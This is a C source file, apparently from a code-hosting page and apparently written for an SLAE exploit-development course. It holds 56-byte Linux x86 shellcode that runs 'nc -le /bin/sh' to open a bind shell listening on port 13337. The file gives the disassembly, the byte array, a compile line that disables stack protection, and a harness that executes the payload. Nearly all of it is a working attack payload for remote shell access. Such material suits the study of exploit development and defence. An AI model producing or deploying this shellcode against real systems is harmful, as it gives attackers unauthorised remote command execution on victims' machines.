53 lines
No EOL
1.6 KiB
C
53 lines
No EOL
1.6 KiB
C
/*
|
|
# Linux x86 /bin/nc -le /bin/sh -vp13337 shellcode(56bytes)
|
|
# Author: Author: sajith
|
|
# Tested on: i686 GNU/Linux
|
|
# Shellcode Length: 56
|
|
#SLAE - 750
|
|
|
|
Disassembly of section .text:
|
|
|
|
08048060 <_start>:
|
|
8048060: 31 c0 xor eax,eax
|
|
8048062: 50 push eax
|
|
8048063: 68 33 33 33 37 push 0x37333333
|
|
8048068: 68 2d 76 70 31 push 0x3170762d
|
|
804806d: 89 e6 mov esi,esp
|
|
804806f: 50 push eax
|
|
8048070: 68 2f 2f 73 68 push 0x68732f2f
|
|
8048075: 68 2f 62 69 6e push 0x6e69622f
|
|
804807a: 68 2d 6c 65 2f push 0x2f656c2d
|
|
804807f: 89 e7 mov edi,esp
|
|
8048081: 50 push eax
|
|
8048082: 68 2f 2f 6e 63 push 0x636e2f2f
|
|
8048087: 68 2f 62 69 6e push 0x6e69622f
|
|
804808c: 89 e3 mov ebx,esp
|
|
804808e: 50 push eax
|
|
804808f: 56 push esi
|
|
8048090: 57 push edi
|
|
8048091: 53 push ebx
|
|
8048092: 89 e1 mov ecx,esp
|
|
8048094: b0 0b mov al,0xb
|
|
8048096: cd 80 int 0x80
|
|
|
|
|
|
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
unsigned char code[] = \
|
|
|
|
"\x31\xc0\x50\x68\x33\x33\x33\x37\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
|
|
|
|
main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
} |